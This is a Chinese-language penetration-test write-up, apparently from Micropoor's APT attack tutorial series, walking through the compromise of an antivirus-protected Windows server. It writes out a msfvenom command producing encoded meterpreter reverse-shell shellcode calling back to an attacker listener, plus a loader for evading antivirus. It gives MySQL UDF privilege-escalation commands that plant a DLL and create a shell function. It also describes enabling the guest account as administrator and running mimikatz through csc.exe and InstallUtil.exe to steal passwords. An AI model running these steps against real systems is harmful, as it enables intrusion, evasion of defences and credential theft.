第五十一課:項(xiàng)目回憶:體系的本質(zhì)是知識點(diǎn)串聯(lián)
專注APT攻擊與防御
https://micropoor.blogspot.com/

一次普通的項(xiàng)目,做完后,卻陳思很久,遂打算一氣合成把整個流程記錄下來,此篇再一次的叮囑我:分享便是我最好的老師。

Micropoor

拿shell過程略過。(由于文章在項(xiàng)目實(shí)施結(jié)束形成,故部分無圖或補(bǔ)圖)

目標(biāo)機(jī)背景:
windows 2008 r2 x64位 360主動+360衛(wèi)士+360殺毒+waf,目標(biāo)機(jī)僅支持aspx。運(yùn)行OAWeb服務(wù)(.net+mssql),并且是內(nèi)網(wǎng)中其他服務(wù)器的數(shù)據(jù)庫服務(wù)器(mysql數(shù)據(jù)庫,不支持php,無.net for mysql 驅(qū)動)
端口開放如下:
需要解決的第一個問題:payload
由于目標(biāo)機(jī),安裝某套裝,payload一定是必須要解決的問題。當(dāng)tasklist的時候,看到如下圖幾個進(jìn)程的時候,第一反應(yīng)就是需要做payload分離免殺。分離免殺主要分兩大類,一類為第三方分離免殺,一類為自帶安裝分離免殺。文章中,采取了第三方分離免殺。
本地補(bǔ)圖(由于項(xiàng)目在實(shí)施后形成該文章,故本地靶機(jī)補(bǔ)圖)

目前的反病毒安全軟件,常見有三種,一種基于特征,一種基于行為,一種基于云查殺。云查殺的特點(diǎn)基本也可以概括為特征查殺。無論是哪種,都是特別針對PE頭文件的查殺。尤其是當(dāng)payload文件越大的時候,特征越容易查殺。既然知道了目前的主流查殺方式,那么反制查殺,此篇采取特征與行為分離免殺。避免PE頭文件,并且分離行為,與特征的綜合免殺。適用于菜刀下等場景,也是我在基于windows下為了更穩(wěn)定的一種常用手法。載入內(nèi)存。
0x00:以msf為例:監(jiān)聽端口
0x001:這里的payload不采取生成pe文件,而采取shellcode方式,來借助第三方直接加載到內(nèi)存中。避免行為:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -ex86/shikata_ga_nai -i 5 -f raw > test.c
0x002:既然是shellcode方式的payload,那么需要借助第三方來啟動,加載到內(nèi)存。執(zhí)行shellcode,自己寫也不是很難,這里我借用一個github一個開源:

https://github.com/clinicallyinane/shellcode_launcher/

作者的話:建議大家自己寫shellcode執(zhí)行盒,相關(guān)代碼網(wǎng)上非常成熟。
生成的payload大小如下:476字節(jié)。
世界殺毒網(wǎng):
上線成功。
而關(guān)于自帶安裝分離免殺,請參考我在公司W(wǎng)iki上寫的第六十九課時 payload分離免殺思路第二季

payload反彈到vps的msf上,我的權(quán)限僅僅如下。
需要解決的第二個問題:提權(quán)

參考主機(jī)背景圖,184個補(bǔ)丁,以及某套裝。遂放棄了exp提權(quán)。

原因1:需要更多的時間消耗在對反病毒軟件對抗。
原因2:目標(biāo)機(jī)補(bǔ)丁過多。需要消耗更多的時間
原因3:非常艱難的環(huán)境下,拿到了權(quán)限,不想因?yàn)槟承〆xp導(dǎo)致藍(lán)屏從而丟失權(quán)限。

開始翻閱目標(biāo)機(jī)上的文件,以及搜集目標(biāo)機(jī)的端口,服務(wù),啟動等一系列信息。發(fā)現(xiàn)目標(biāo)機(jī)安裝mysql,并與內(nèi)網(wǎng)其中一臺建立大量連接。mysql版本為5.1.49-community-log

下載目標(biāo)機(jī)*..MYI,*.MYD,*.frm,加載于本地mysql。得到目標(biāo)機(jī)root密碼
而目標(biāo)機(jī)沒有相關(guān)腳本環(huán)境連接mysql,到這里,可以有2個方向針對該問題作出解決

一:轉(zhuǎn)發(fā)目標(biāo)機(jī)端口到本地,從而操作mysql。
二:在非交互式下,完成mysql udf的提權(quán)。

為了減少目標(biāo)主機(jī)的流量探測,以及維護(hù)來之不易的session,故選擇了第二種方案。非交互式下,mysql提權(quán)。

命令行下,調(diào)用mysql是需要在啟動一個mysql窗口,從而繼續(xù)執(zhí)行,而session下沒有這樣條件。但mysql的 -e參數(shù) 作為直接執(zhí)行sql語句,從而不另啟動窗口。而-e需要注意的事項(xiàng),use database。也就是所有參數(shù)需要mysql.xxxx
如沒有指定database,將會出現(xiàn)如下錯誤,而使用UNION,將不會有回顯,一定出現(xiàn)問題,將會很難定位,故選擇以mysql.x的方式指定。
大致流程如下:

mysql -uroot -pXXXXXX -e "create table mysql.a (cmd LONGBLOB);"
mysql -uroot -pXXXXXX -e "insert into mysql.a (cmd) values
(hex(load_file('D:XXXXXXXXXXmysql5libpluginu.dll')));"
mysql -uroot -pXXXXXX -e "SELECT unhex(cmd) FROM mysql.a INTO DUMPFILE
'D:/XXXXXXXXXX/mysql5/lib/plugin/uu.dll';"
mysql -uroot -pXXXXXX -e "CREATE FUNCTION shell RETURNS STRING SONAME 'uu.dll'"
mysql -uroot -pXXXXXX -e "select shell('cmd','whoami');"
需要解決的第三個問題:登錄服務(wù)器

在有套裝的環(huán)境下,默認(rèn)攔截cmd下加帳號,而目前又無法抓取系統(tǒng)登錄明文。mimikatz被查殺。cmd下調(diào)用powershell被攔截。遂選擇激活guest帳號,并提升到administrators組,來臨時登錄目標(biāo)機(jī)。
socks代理登錄目標(biāo)機(jī):
需要解決的第四個問題:抓取目標(biāo)機(jī)明文密碼

登錄服務(wù)器后,目前依然不知道目標(biāo)機(jī)的密碼。這里有兩種方向來解決該問題。
一:關(guān)閉我能關(guān)閉的套裝,由于管理員沒有注銷登錄。能關(guān)閉的有限。
二:分離免殺做mimikatz密碼抓取

作者選擇了第二種方案:

這里需要用到csc.exe,與InstallUtil.exe

關(guān)于兩個文件默認(rèn)安裝位置:(注意x32,x64區(qū)別)
C:WindowsMicrosoft.NETFramework
C:WindowsMicrosoft.NETFramework64
C:WindowsMicrosoft.NETFramework
C:WindowsMicrosoft.NETFramework64
分別執(zhí)行:
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe
/r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library
/out:Micropoor.exe /keyfile:C:UsersJohnnDesktopinstallutil.snk /unsafe
C:UsersJohnnDesktopmimi.cs
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe /logfile=
/LogToConsole=false /U C:UsersJohnnDesktopMicropoor.exe
派生出的第五個問題:橫向滲透

關(guān)于第五個問題,本意并不是該篇幅所要講述的,后續(xù)是搜集目標(biāo)機(jī)的mssql,mysql,rdp密碼。搜集所在內(nèi)網(wǎng)的拓?fù)?來輔助本次的橫向擴(kuò)展。便完成了本次的項(xiàng)目。如需具體,請參考我在Wiki上的系列教程78,79,12,13,71課時。
后者的話:

本次的整個流程,并沒有遇到太多的問題,僅僅是把幾個知識點(diǎn)的串聯(lián)起來,形成的一個完整的滲透。也許你了解知識點(diǎn)1,也了解知識點(diǎn)2,還了解知識點(diǎn)3等等。但是一次完整的項(xiàng)目是離不開每一個知識點(diǎn)的串聯(lián)與靈活運(yùn)用。這應(yīng)該是每一個信息安全從業(yè)人員值得思考的問題。在每次分享的同時,深深發(fā)現(xiàn),原來分享,才是我最好的老師。

Micropoor
?